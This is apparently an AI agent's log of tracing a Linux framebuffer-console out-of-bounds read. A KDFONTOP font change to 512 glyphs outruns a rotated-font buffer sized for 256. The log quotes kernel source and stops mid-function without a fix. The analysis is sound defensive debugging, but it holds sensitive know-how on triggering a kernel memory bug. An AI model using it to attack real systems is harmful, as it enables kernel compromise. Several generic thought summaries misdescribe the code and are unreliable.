The crucial detail is this `charmask`. It's conditional: `vc->vc_hi_font_mask ? 0x1ff : 0xff;`. If `vc->vc_hi_font_mask` is set, `charmask` becomes `0x1ff` (511). This potentially allows indexing up to 512 characters. But, and this is the likely culprit, the `par->rotated.buf` might be allocated with space for significantly fewer characters β say, only 256. That's a textbook recipe for reading past the end of the allocated buffer.
Now, I need to figure out *why* the buffer size mismatch is happening. The stack trace is my guide:
* `font_data_rotate`: The immediate function where the read occurs.
* `fbcon_rotate_font`: Called by `font_data_rotate`. That's where I need to start digging.
* `fbcon_modechanged` and `fbcon_set_all_vcs`: These are also important, indicating that this has something to do with mode changes and virtual console management.
* `fbcon_rotate_all` (inline) and `rotate_all_store`: These imply a mechanism to rotate the font, or potentially a setting.
My next step is to examine the code in `fbcon_rotate_font` and `font_data_rotate` and to figure out the size of the buffer allocated to `par->rotated.buf`. I need to track down exactly how `vc->vc_hi_font_mask` is set, and whether the buffer allocation size is also conditioned on this, or is being calculated incorrectly. There has to be a logic error somewhere around the `charmask` and buffer size calculation. It's almost certainly related to the high-font support, which is enabling a larger character range, but isn't accounting for the memory.
|
| 13/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_rotate.c Name:fbcon_rotate_font]
Results: map[SourceCode: 18: int fbcon_rotate_font(struct fb_info *info, struct vc_data *vc)
19: {
20: struct fbcon_par *par = info->fbcon_par;
21: unsigned char *buf;
22: int ret;
23:
24: if (par->p->fontdata == par->rotated.fontdata && par->rotate == par->rotated.buf_rotate)
25: return 0;
26:
27: par->rotated.fontdata = par->p->fontdata;
28: par->rotated.buf_rotate = par->rotate;
29:
30: if (info->fbops->fb_sync)
31: info->fbops->fb_sync(info);
32:
33: buf = font_data_rotate(par->rotated.fontdata, vc->vc_font.width,
34: vc->vc_font.height, vc->vc_font.charcount,
35: par->rotated.buf_rotate, par->rotated.buf,
36: &par->rotated.bufsize);
37: if (IS_ERR(buf)) {
38: ret = PTR_ERR(buf);
39: goto err_kfree;
40: }
41:
42: par->rotated.buf = buf;
43:
44: return 0;
45:
46: err_kfree:
47: kfree(par->rotated.buf);
48: par->rotated.buf = NULL; /* clear here to avoid output */
49: par->rotated.bufsize = 0;
50:
51: return ret;
52: }
SourceFile:drivers/video/fbdev/core/fbcon_rotate.c]
|
| 14/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 14919
output: 38
thoughts: 116
Thoughts: **Tracing a Font Rotation Vulnerability**
Okay, so I'm looking at this `fbcon_rotate_font` function, and it seems like it calls `font_data_rotate`. That's where things get interesting, because it passes `vc->vc_font.charcount` as an argument. The key here is, if `vc->vc_font.charcount` is initially set to 256βwhich it isβthen `rotate_all_store` gets called, and `par->rotated.buf` gets allocated for exactly 256 characters. That's our initial state.
But here's the kicker: the reproducer then *changes* the font size to 512 characters using `ioctl(fd, KDFONTOP, &cfo)`. I need to figure out how this `KDFONTOP` ioctl works. That's where the vulnerability likely lies: we have a buffer allocated for one size, and a font thatβs now double that. Let's trace that `KDFONTOP` ioctl and see how the system handles the font size change. I'm guessing we'll find some type of overflow scenario, but I need to see the details to confirm.
|
| 15/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:con_font_op]
Results: map[SourceCode:5027: int con_font_op(struct vc_data *vc, struct console_font_op *op)
5028: {
5029: switch (op->op) {
5030: case KD_FONT_OP_SET:
5031: case KD_FONT_OP_SET_TALL:
5032: return con_font_set(vc, op);
5033: case KD_FONT_OP_GET:
5034: case KD_FONT_OP_GET_TALL:
5035: return con_font_get(vc, op);
5036: case KD_FONT_OP_SET_DEFAULT:
5037: return con_font_default(vc, op);
5038: case KD_FONT_OP_COPY:
5039: /* was buggy and never really used */
5040: return -EINVAL;
5041: }
5042: return -ENOSYS;
5043: }
SourceFile:drivers/tty/vt/vt.c]
|
| 16/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 15636
output: 38
thoughts: 11
Thoughts: Okay, here's my attempt at summarizing my thought process regarding `con_font_set`, tailored for an expert audience, presented in the first person:
**Tracing `con_font_set`**
Alright, let's dive into this `con_font_set` function, shall we? My immediate inclination is to understand its role. What's it setting? Judging by the name, it's pretty clearly related to font configuration, likely for some console or terminal context. I'll need to figure out the scope of its impact. Is this globally applied? Is it per-window? Does it have any implications for caching or resource management?
My mental checklist starts with the obvious:
* **Where is it defined?** That's the primary step. I need to see the header file and understand the data structures and context it operates within. This will give me immediate clues about its arguments and return type, which are the fundamental building blocks of its functionality. I'll be looking for any related data structures it might modify or interact with.
* **What dependencies does it have?** Understanding any dependency it relies on is vital. Are there calls to other related library functions or APIs that I need to be aware of? Are there specific font libraries or system calls involved?
* **How is it used?** I want to know where this is being called from. I'll need to trace its usage in the code to get an idea of the bigger picture. I'm looking for the call sites, and any conditional logic around those calls. Seeing the call stack will illuminate how it fits into the overall program flow.
* **What are its potential side effects?** This is a key concern for me. Does it modify any global state? Does it allocate memory? Is there a risk of memory leaks or race conditions? Does it have any interaction with other parts of the system or libraries that could cause unexpected issues?
* **Performance implications?** Is this a frequently called function? If so, its implementation should be efficient. I'll be looking at any potential bottlenecks, like font loading, rendering, or caching mechanisms. I'll consider how often its called and the size of data its processing and any impact this could have on performance.
* **Error handling?** Does this function have robust error handling? What happens if the font load fails, or the specified font isn't found? I expect it to handle these situations gracefully, perhaps returning an error code or logging an appropriate message.
Ultimately, my goal is to build a mental model of how `con_font_set` functions, its role in the system, and any potential issues I need to be aware of before I make any changes or integrations. With this information I can quickly understand the system level impact and avoid any unforeseen problems.
|
| 17/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:con_font_set]
Results: map[SourceCode:4955: static int con_font_set(struct vc_data *vc, const struct console_font_op *op)
4956: {
4957: struct console_font font;
4958: int size;
4959: unsigned int vpitch = op->op == KD_FONT_OP_SET_TALL ? op->height : 32;
4960:
4961: if (!op->data)
4962: return -EINVAL;
4963: if (op->charcount > max_font_glyphs)
4964: return -EINVAL;
4965: if (op->width <= 0 || op->width > max_font_width || !op->height ||
4966: op->height > max_font_height)
4967: return -EINVAL;
4968: if (vpitch < op->height)
4969: return -EINVAL;
4970: size = DIV_ROUND_UP(op->width, 8) * vpitch * op->charcount;
4971: if (size > max_font_size)
4972: return -ENOSPC;
4973:
4974: void *font_data __free(kfree) = font.data = memdup_user(op->data, size);
4975: if (IS_ERR(font.data))
4976: return PTR_ERR(font.data);
4977:
4978: font.charcount = op->charcount;
4979: font.width = op->width;
4980: font.height = op->height;
4981:
4982: guard(console_lock)();
4983:
4984: if (vc->vc_mode != KD_TEXT)
4985: return -EINVAL;
4986: if (!vc->vc_sw->con_font_set)
4987: return -ENOSYS;
4988:
4989: if (vc_is_sel(vc))
4990: clear_selection();
4991:
4992: return vc->vc_sw->con_font_set(vc, &font, vpitch, op->flags);
4993: }
SourceFile:drivers/tty/vt/vt.c]
|
| 18/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 16921
output: 43
thoughts: 22
Thoughts: Here's my understanding of the thought process, from my expert perspective:
**Font Setting in the Framebuffer Console**
Okay, so I'm looking at how fonts are handled within the framebuffer console context. My brain immediately links `vc->vc_sw->con_font_set` to `fbcon_set_font`. This tells me that the way we set a font in the virtual console (`vc`) is ultimately handled by a framebuffer-specific function, `fbcon_set_font`. This direct connection means the console's font management relies heavily on the framebuffer driver's capabilities. I'm making a mental note that any customizations or font selections I want to implement at this level will need to interact directly with that `fbcon_set_font` function, keeping in mind the intricacies of the framebuffer driver's implementation. It also highlights the likely importance of understanding the specific framebuffer's capabilities if I'm trying to optimize font rendering or support unusual font formats within this subsystem.
|
| 19/2 |
2026/08/12 15:49 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_set_font]
Results: map[SourceCode:2472: static int fbcon_set_font(struct vc_data *vc, const struct console_font *font,
2473: unsigned int vpitch, unsigned int flags)
2474: {
2475: struct fb_info *info = fbcon_info_from_console(vc->vc_num);
2476: unsigned charcount = font->charcount;
2477: int w = font->width;
2478: int h = font->height;
2479: int i, ret;
2480: font_data_t *new_data;
2481:
2482: /* Is there a reason why fbconsole couldn't handle any charcount >256?
2483: * If not this check should be changed to charcount < 256 */
2484: if (charcount != 256 && charcount != 512)
2485: return -EINVAL;
2486:
2487: /* font bigger than screen resolution ? */
2488: if (w > FBCON_SWAP(info->var.rotate, info->var.xres, info->var.yres) ||
2489: h > FBCON_SWAP(info->var.rotate, info->var.yres, info->var.xres))
2490: return -EINVAL;
2491:
2492: if (font->width > FB_MAX_BLIT_WIDTH || font->height > FB_MAX_BLIT_HEIGHT)
2493: return -EINVAL;
2494:
2495: /* Make sure drawing engine can handle the font */
2496: if (!test_bit(font->width - 1, info->pixmap.blit_x) ||
2497: !test_bit(font->height - 1, info->pixmap.blit_y))
2498: return -EINVAL;
2499:
2500: /* Make sure driver can handle the font length */
2501: if (fbcon_invalid_charcount(info, charcount))
2502: return -EINVAL;
2503:
2504: new_data = font_data_import(font, vpitch, crc32);
2505: if (IS_ERR(new_data))
2506: return PTR_ERR(new_data);
2507:
2508: /* Check if the same font is on some other console already */
2509: for (i = first_fb_vc; i <= last_fb_vc; i++) {
2510: if (fb_display[i].fontdata &&
2511: font_data_is_equal(fb_display[i].fontdata, new_data)) {
2512: font_data_get(fb_display[i].fontdata);
2513: font_data_put(new_data);
2514: new_data = fb_display[i].fontdata;
2515: break;
2516: }
2517: }
2518: ret = fbcon_do_set_font(vc, font->width, font->height, charcount, new_data);
2519: font_data_put(new_data);
2520:
2521: return ret;
2522: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 20/2 |
2026/08/12 15:49 |
llm |
expert |
0m
Model:
Tokens:
input: 18133
output: 45
thoughts: 14
Thoughts: Here's a summary of my thought process, as requested:
**Diving into `fbcon_do_set_font`**
Okay, time to get to the heart of the matter. I need to understand how the font is being set within the framebuffer console context. My first step is to zero in on the `fbcon_do_set_font` function. I immediately recognize this as a critical point β this is where the character display on the console is directly impacted. I'll need to analyze its implementation to understand the mechanism of font manipulation. From this, I should be able to deduce the interactions between the font information and framebuffer rendering, as well as any possible integration issues. Letβs see what's what.
|
| 21/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_do_set_font]
Results: map[SourceCode:2400: static int fbcon_do_set_font(struct vc_data *vc, int w, int h, int charcount,
2401: font_data_t *data)
2402: {
2403: struct fb_info *info = fbcon_info_from_console(vc->vc_num);
2404: struct fbcon_par *par = info->fbcon_par;
2405: struct fbcon_display *p = &fb_display[vc->vc_num];
2406: int resize, ret, old_width, old_height, old_charcount;
2407: font_data_t *old_fontdata = p->fontdata;
2408: const u8 *old_data = vc->vc_font.data;
2409: unsigned short old_hi_font_mask = vc->vc_hi_font_mask;
2410:
2411: font_data_get(data);
2412:
2413: resize = (w != vc->vc_font.width) || (h != vc->vc_font.height);
2414: p->fontdata = data;
2415: vc->vc_font.data = font_data_buf(p->fontdata);
2416: old_width = vc->vc_font.width;
2417: old_height = vc->vc_font.height;
2418: old_charcount = vc->vc_font.charcount;
2419:
2420: vc->vc_font.width = w;
2421: vc->vc_font.height = h;
2422: vc->vc_font.charcount = charcount;
2423: if (vc->vc_hi_font_mask && charcount == 256)
2424: set_vc_hi_font(vc, false);
2425: else if (!vc->vc_hi_font_mask && charcount == 512)
2426: set_vc_hi_font(vc, true);
2427:
2428: if (resize) {
2429: int cols, rows;
2430:
2431: cols = FBCON_SWAP(par->rotate, info->var.xres, info->var.yres);
2432: rows = FBCON_SWAP(par->rotate, info->var.yres, info->var.xres);
2433: cols /= w;
2434: rows /= h;
2435: ret = vc_resize(vc, cols, rows);
2436: if (ret)
2437: goto err_out;
2438: } else if (con_is_visible(vc)
2439: && vc->vc_mode == KD_TEXT) {
2440: fbcon_clear_margins(vc, 0);
2441: update_screen(vc);
2442: }
2443:
2444: if (old_fontdata)
2445: font_data_put(old_fontdata);
2446:
2447: return 0;
2448:
2449: err_out:
2450: p->fontdata = old_fontdata;
2451: vc->vc_font.data = old_data;
2452: vc->vc_font.width = old_width;
2453: vc->vc_font.height = old_height;
2454: vc->vc_font.charcount = old_charcount;
2455:
2456: /* Restore the hi_font state and screen buffer */
2457: if (old_hi_font_mask && !vc->vc_hi_font_mask)
2458: set_vc_hi_font(vc, true);
2459: else if (!old_hi_font_mask && vc->vc_hi_font_mask)
2460: set_vc_hi_font(vc, false);
2461:
2462: font_data_put(data);
2463:
2464: return ret;
2465: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 22/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 19514
output: 45
thoughts: 308
Thoughts: **Font Rotation and `fbcon_do_set_font`**
Okay, so I'm looking at this `fbcon_do_set_font` function. I see that it sets `vc->vc_font.charcount` and updates `vc->vc_hi_font_mask`. Interesting. The flow is pretty straightforward; if we're *not* resizing the fontβmeaning the dimensions haven't changedβthen it calls `update_screen(vc)`. That makes sense, because it needs to redraw with the new font data, which eventually leads to a call to `cw_putcs_aligned`. But here's where it gets a little hazy... why isn't `fbcon_rotate_font` being called in `fbcon_do_set_font` if the font *size* is the same but the character count might have changed? I'd expect something to happen with `par->rotated.buf` since that relates to rotated fonts, and we need to deal with character counts.
I recall that `fbcon_rotate_font` is called in other places, like `fbcon_modechanged`, `fbcon_set_all_vcs`, or `set_con2fb_map`. But still, shouldn't `fbcon_do_set_font` also call it directly? I'm missing something. Wait a second... it *doesn't* update `par->rotated.buf` at all, even when it *is* changing font sizes!
Okay, let's verify that. I'll double-check β nope, it doesn't call `fbcon_rotate_font` directly. Hmm. The only thing `fbcon_do_set_font` updates appears to be `p->fontdata`. But `par->rotated.buf` depends on `par->rotated.fontdata`, and it feels like we need to somehow manage the relationship of the two, particularly if the character count is changed. I better refresh my memory on `fbcon_rotate_font`. I need to figure out how this is supposed to work together.
|
| 23/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon_rotate.c Name:fbcon_rotate_font]
Results: map[SourceCode: 18: int fbcon_rotate_font(struct fb_info *info, struct vc_data *vc)
19: {
20: struct fbcon_par *par = info->fbcon_par;
21: unsigned char *buf;
22: int ret;
23:
24: if (par->p->fontdata == par->rotated.fontdata && par->rotate == par->rotated.buf_rotate)
25: return 0;
26:
27: par->rotated.fontdata = par->p->fontdata;
28: par->rotated.buf_rotate = par->rotate;
29:
30: if (info->fbops->fb_sync)
31: info->fbops->fb_sync(info);
32:
33: buf = font_data_rotate(par->rotated.fontdata, vc->vc_font.width,
34: vc->vc_font.height, vc->vc_font.charcount,
35: par->rotated.buf_rotate, par->rotated.buf,
36: &par->rotated.bufsize);
37: if (IS_ERR(buf)) {
38: ret = PTR_ERR(buf);
39: goto err_kfree;
40: }
41:
42: par->rotated.buf = buf;
43:
44: return 0;
45:
46: err_kfree:
47: kfree(par->rotated.buf);
48: par->rotated.buf = NULL; /* clear here to avoid output */
49: par->rotated.bufsize = 0;
50:
51: return ret;
52: }
SourceFile:drivers/video/fbdev/core/fbcon_rotate.c]
|
| 24/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 20835
output: 42
thoughts: 285
Thoughts: **Font Rotation and Potential Inconsistencies**
Okay, so I'm looking at this `fbcon_rotate_font` function, and it's comparing font data: specifically, checking if `par->p->fontdata` and `par->rotated.fontdata` are the same. If they're different, it allocates a new buffer, which makes sense. But then I'm thinking about how the font data is *set*. `fbcon_do_set_font` updates `p->fontdata`, which, if `p` is equal to `par->p`, is effectively modifying `par->p->fontdata`.
The critical question here is, does `fbcon_do_set_font` itself call `fbcon_rotate_font`? Because if so, the allocation might happen right away. No, it doesn't. Okay, that simplifies things a little.
Now, let's trace the execution path. `update_screen` calls `redraw_screen`, which calls `hide_cursor`, which then calls `con_putc`, which calls `fbcon_putcs`, and so on down to `cw_putcs_aligned`. My concern is this: if `fbcon_do_set_font` updates the font data (`p->fontdata`) *and* the character count (`vc->vc_font.charcount`), but `par->rotated.buf` hasn't been updated yet, then `cw_putcs_aligned` is going to be using the *old* `par->rotated.buf` with the *new* font information (like the new `vc->vc_font.charcount` and `vc->vc_hi_font_mask`). That's a potential problem. We'd have a mismatch between the buffer and the character data, and that will look awful!
Wait, am I missing something? Does `fbcon_putcs` somehow call `fbcon_rotate_font`? No, I don't see anything obvious. Okay, let's just confirm that. I need to go look directly at `fbcon_putcs` to be absolutely sure.
|
| 25/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_putcs]
Results: map[SourceCode:1384: static void fbcon_putcs(struct vc_data *vc, const u16 *s, unsigned int count,
1385: unsigned int ypos, unsigned int xpos)
1386: {
1387: struct fb_info *info = fbcon_info_from_console(vc->vc_num);
1388: struct fbcon_display *p = &fb_display[vc->vc_num];
1389: struct fbcon_par *par = info->fbcon_par;
1390:
1391: if (fbcon_is_active(vc, info))
1392: par->bitops->putcs(vc, info, s, count, real_y(p, ypos), xpos,
1393: get_fg_color(vc, info, scr_readw(s)),
1394: get_bg_color(vc, info, scr_readw(s)));
1395: }
SourceFile:drivers/video/fbdev/core/fbcon.c]
|
| 26/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 21912
output: 36
thoughts: 200
Thoughts: **Font Resizing in the Framebuffer Console: A Deep Dive**
Okay, so I'm digging into how the framebuffer console handles font changes. It looks like `fbcon_putcs` delegates character output directly to `par->bitops->putcs`. Nothing unexpected there. The core issue seems to arise when `fbcon_do_set_font` updates the font-related parameters β specifically, `vc->vc_font.charcount` and `vc->vc_hi_font_mask` β and *then* calls `update_screen(vc)`. That `update_screen` call is what triggers the screen redraw. The problem is, that redraw will leverage the *new* `vc_hi_font_mask`, but the underlying buffer, `par->rotated.buf`, hasn't been reallocated yet to match the new font. That's a potential recipe for a visual disaster!
Now, the question is, *when* is `par->rotated.buf` actually reallocated? Maybe it happens later? I need to clarify the timing. Let's revisit `fbcon_do_set_font`. Okay, it calls `update_screen(vc)` conditionally; it's triggered if `!resize`. But if `resize` *is* true, it calls `vc_resize(vc, cols, rows)` instead. Does `vc_resize` handle the reallocation of `par->rotated.buf`? I'm betting that's the key.
Let's check out `vc_resize` and see if my hunch is correct. I have a feeling the answer lies in its implementation.
|
| 27/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:vc_resize]
Results: map[SourceCode: 46: static inline int vc_resize(struct vc_data *vc, unsigned int cols,
47: unsigned int lines)
48: {
49: return __vc_resize(vc, cols, lines, false);
50: }
SourceFile:include/linux/vt_kern.h]
|
| 28/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 22595
output: 37
thoughts: 10
Thoughts: Okay, here's my attempt at summarizing that thought process, keeping in mind I'm speaking to a fellow expert:
**Internal Audit: `__vc_resize` Check**
Alright, time to get down to brass tacks. Let's dig into this thing. The immediate focus is on `__vc_resize`. That function is probably the linchpin of some important resizing operation. We need to be on top of it, so let's check it over, top to bottom.
|
| 29/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:__vc_resize]
Results: map[SourceCode:1315: /**
1316: * __vc_resize - resize a VT
1317: * @vc: virtual console
1318: * @cols: columns
1319: * @rows: rows
1320: * @from_user: invoked by a user?
1321: *
1322: * Resize a virtual console as seen from the console end of things. We use the
1323: * common vc_do_resize() method to update the structures.
1324: *
1325: * Locking: The caller must hold the console sem to protect console internals
1326: * and @vc->port.tty.
1327: */
1328: int __vc_resize(struct vc_data *vc, unsigned int cols, unsigned int rows,
1329: bool from_user)
1330: {
1331: return vc_do_resize(vc->port.tty, vc, cols, rows, from_user);
1332: }
SourceFile:drivers/tty/vt/vt.c]
|
| 30/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 23050
output: 38
thoughts: 11
Thoughts: Okay, here's my attempt at summarizing that thought process, tailored for an expert audience:
**Checking `vc_do_resize`**
Alright, let's dive right in. The immediate need here is to thoroughly analyze the functionality of `vc_do_resize`. I know its probably core to the windowing system, but a quick sanity check never hurts, especially when dealing with potentially complex resize operations, as I know from my experience. I'm thinking about its implications for resource management, potential race conditions in a multi-threaded context (if applicable), and any interactions with other critical system components. I need to refresh my understanding of how it handles different windowing types, aspect ratios, and whether it efficiently reallocates buffers or makes costly copies. I also want to make sure the edge cases are well handled. Time to open the code and get into the details.
|
| 31/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:vc_do_resize]
Results: map[SourceCode:1154: /**
1155: * vc_do_resize - resizing method for the tty
1156: * @tty: tty being resized
1157: * @vc: virtual console private data
1158: * @cols: columns
1159: * @lines: lines
1160: * @from_user: invoked by a user?
1161: *
1162: * Resize a virtual console, clipping according to the actual constraints. If
1163: * the caller passes a tty structure then update the termios winsize
1164: * information and perform any necessary signal handling.
1165: *
1166: * Locking: Caller must hold the console semaphore. Takes the termios rwsem and
1167: * ctrl.lock of the tty IFF a tty is passed.
1168: */
1169: static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc,
1170: unsigned int cols, unsigned int lines, bool from_user)
1171: {
1172: unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0;
1173: unsigned long end;
1174: unsigned int old_rows, old_row_size, first_copied_row;
1175: unsigned int new_cols, new_rows, new_row_size, new_screen_size;
1176: unsigned short *oldscreen, *newscreen;
1177: u32 **new_uniscr = NULL;
1178:
1179: WARN_CONSOLE_UNLOCKED();
1180:
1181: if (cols > VC_MAXCOL || lines > VC_MAXROW)
1182: return -EINVAL;
1183:
1184: new_cols = (cols ? cols : vc->vc_cols);
1185: new_rows = (lines ? lines : vc->vc_rows);
1186: new_row_size = new_cols << 1;
1187: new_screen_size = new_row_size * new_rows;
1188:
1189: if (new_cols == vc->vc_cols && new_rows == vc->vc_rows) {
1190: /*
1191: * This function is being called here to cover the case
1192: * where the userspace calls the FBIOPUT_VSCREENINFO twice,
1193: * passing the same fb_var_screeninfo containing the fields
1194: * yres/xres equal to a number non-multiple of vc_font.height
1195: * and yres_virtual/xres_virtual equal to number lesser than the
1196: * vc_font.height and yres/xres.
1197: * In the second call, the struct fb_var_screeninfo isn't
1198: * being modified by the underlying driver because of the
1199: * if above, and this causes the fbcon_display->vrows to become
1200: * negative and it eventually leads to out-of-bound
1201: * access by the imageblit function.
1202: * To give the correct values to the struct and to not have
1203: * to deal with possible errors from the code below, we call
1204: * the resize_screen here as well.
1205: */
1206: return resize_screen(vc, new_cols, new_rows, from_user);
1207: }
1208:
1209: if (new_screen_size > KMALLOC_MAX_SIZE || !new_screen_size)
1210: return -EINVAL;
1211: newscreen = kzalloc(new_screen_size, GFP_USER);
1212: if (!newscreen)
1213: return -ENOMEM;
1214:
1215: if (vc->vc_uni_lines) {
1216: new_uniscr = vc_uniscr_alloc(new_cols, new_rows);
1217: if (!new_uniscr) {
1218: kfree(newscreen);
1219: return -ENOMEM;
1220: }
1221: }
1222:
1223: if (vc_is_sel(vc))
1224: clear_selection();
1225:
1226: old_rows = vc->vc_rows;
1227: old_row_size = vc->vc_size_row;
1228:
1229: err = resize_screen(vc, new_cols, new_rows, from_user);
1230: if (err) {
1231: kfree(newscreen);
1232: vc_uniscr_free(new_uniscr);
1233: return err;
1234: }
1235:
1236: vc->vc_rows = new_rows;
1237: vc->vc_cols = new_cols;
1238: vc->vc_size_row = new_row_size;
1239: vc->vc_screenbuf_size = new_screen_size;
1240:
1241: rlth = min(old_row_size, new_row_size);
1242: rrem = new_row_size - rlth;
1243: old_origin = vc->vc_origin;
1244: new_origin = (long) newscreen;
1245: new_scr_end = new_origin + new_screen_size;
1246:
1247: if (vc->state.y > new_rows) {
1248: if (old_rows - vc->state.y < new_rows) {
1249: /*
1250: * Cursor near the bottom, copy contents from the
1251: * bottom of buffer
1252: */
1253: first_copied_row = (old_rows - new_rows);
1254: } else {
1255: /*
1256: * Cursor is in no man's land, copy 1/2 screenful
1257: * from the top and bottom of cursor position
1258: */
1259: first_copied_row = (vc->state.y - new_rows/2);
1260: }
1261: old_origin += first_copied_row * old_row_size;
1262: } else
1263: first_copied_row = 0;
1264: end = old_origin + old_row_size * min(old_rows, new_rows);
1265:
1266: vc_uniscr_copy_area(new_uniscr, new_cols, new_rows,
1267: vc->vc_uni_lines, rlth/2, first_copied_row,
1268: min(old_rows, new_rows));
1269: vc_uniscr_set(vc, new_uniscr);
1270:
1271: update_attr(vc);
1272:
1273: while (old_origin < end) {
1274: scr_memcpyw((unsigned short *) new_origin,
1275: (unsigned short *) old_origin, rlth);
1276: if (rrem)
1277: scr_memsetw((void *)(new_origin + rlth),
1278: vc->vc_video_erase_char, rrem);
1279: old_origin += old_row_size;
1280: new_origin += new_row_size;
1281: }
1282: if (new_scr_end > new_origin)
1283: scr_memsetw((void *)new_origin, vc->vc_video_erase_char,
1284: new_scr_end - new_origin);
1285: oldscreen = vc->vc_screenbuf;
1286: vc->vc_screenbuf = newscreen;
1287: vc->vc_screenbuf_size = new_screen_size;
1288: set_origin(vc);
1289: kfree(oldscreen);
1290:
1291: /* do part of a reset_terminal() */
1292: vc->vc_top = 0;
1293: vc->vc_bottom = vc->vc_rows;
1294: gotoxy(vc, vc->state.x, vc->state.y);
1295: save_cur(vc);
1296:
1297: if (tty) {
1298: /* Rewrite the requested winsize data with the actual
1299: resulting sizes */
1300: struct winsize ws;
1301: memset(&ws, 0, sizeof(ws));
1302: ws.ws_row = vc->vc_rows;
1303: ws.ws_col = vc->vc_cols;
1304: ws.ws_ypixel = vc->vc_scan_lines;
1305: tty_do_resize(tty, &ws);
1306: }
1307:
1308: if (con_is_visible(vc))
1309: update_screen(vc);
1310: vt_event_post(VT_EVENT_RESIZE, vc->vc_num, vc->vc_num);
1311: notify_update(vc);
1312: return err;
1313: }
SourceFile:drivers/tty/vt/vt.c]
|
| 32/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 25916
output: 36
thoughts: 38
Thoughts: Okay, here's my take on those thoughts, framed as an expert's internal monologue:
**Investigating the Screen Resizing Process**
Alright, so `vc_do_resize` is the function initiating this screen resize operation. The critical line to examine is the call to `resize_screen(vc, new_cols, new_rows, from_user)`. This seems to be the core function responsible for actually handling the resizing logic. Let's dig into `resize_screen` itself. I need to understand what's happening within that function to ensure the resize is performed correctly, efficiently, and without any nasty side effects like data corruption or display glitches. Iβll need to check how it handles the new dimensions, how it interacts with the underlying terminal representation, and what kind of error checking is in place. Furthermore, I need to know the role of `from_user` and how it affects the resize behavior. Is this a user-initiated resize, or is it triggered internally? That will likely influence how aggressive it can be with resources. This is where the work begins!
|
| 33/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/tty/vt/vt.c Name:resize_screen]
Results: map[SourceCode:1142: static inline int resize_screen(struct vc_data *vc, int width, int height,
1143: bool from_user)
1144: {
1145: /* Resizes the resolution of the display adapater */
1146: int err = 0;
1147:
1148: if (vc->vc_sw->con_resize)
1149: err = vc->vc_sw->con_resize(vc, width, height, from_user);
1150:
1151: return err;
1152: }
SourceFile:drivers/tty/vt/vt.c]
|
| 34/2 |
2026/08/12 15:50 |
llm |
expert |
0m
Model:
Tokens:
input: 26408
output: 41
thoughts: 18
Thoughts: Here's my understanding of the thought process:
**Decoding the Console Resize Mechanism**
Okay, so I'm breaking down this console resize function call. Let's see... `vc->vc_sw->con_resize` translates directly to `fbcon_resize`. That's the core of it. I'm seeing that the Virtual Console's (VC) software-specific data (`vc_sw`) is directly linked to the frame buffer console resize (`fbcon_resize`). That tells me we're dealing with a framebuffer console resize event handled within the VC abstraction layer, ultimately calling `fbcon_resize`, likely the driver-specific function to update the framebuffer's dimensions or viewport. It's a fairly standard approach, probably triggered when the terminal window or display resolution changes. So far, so good. No surprises here, just standard console architecture logic at work.
|
| 35/2 |
2026/08/12 15:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/video/fbdev/core/fbcon.c Name:fbcon_resize]
Results: map[SourceCode:2085: static int fbcon_resize(struct vc_data *vc, unsigned int width,
2086: unsigned int height, bool from_user)
2087: {
2088: struct fb_info *info = fbcon_info_from_console(vc->vc_num);
2089: struct fbcon_par *par = info->fbcon_par;
2090: struct fbcon_display *p = &fb_display[vc->vc_num];
2091: struct fb_var_screeninfo var = info->var;
2092: int x_diff, y_diff, virt_w, virt_h, virt_fw, virt_fh;
2093:
2094: if (font_data_size(p->fontdata)) {
2095: unsigned int size = vc_font_size(&vc->vc_font);
2096:
2097: /*
2098: * If user font, ensure that a possible change to user font
2099: * height or width will not allow a font data out-of-bounds access.
2100: * NOTE: must use original charcount in calculation as font
2101: * charcount can change and cannot be used to determine the
2102: * font data allocated size.
2103: */
2104: if (!size || size > font_data_size(p->fontdata))
2105: return -EINVAL;
2106: }
2107:
2108: virt_w = FBCON_SWAP(par->rotate, width, height);
2109: virt_h = FBCON_SWAP(par->rotate, height, width);
2110: virt_fw = FBCON_SWAP(par->rotate, vc->vc_font.width, vc->vc_font.height);
2111: virt_fh = FBCON_SWAP(par->rotate, vc->vc_font.height, vc->vc_font.width);
2112: var.xres = virt_w * virt_fw;
2113: var.yres = virt_h * virt_fh;
2114: x_diff = info->var.xres - var.xres;
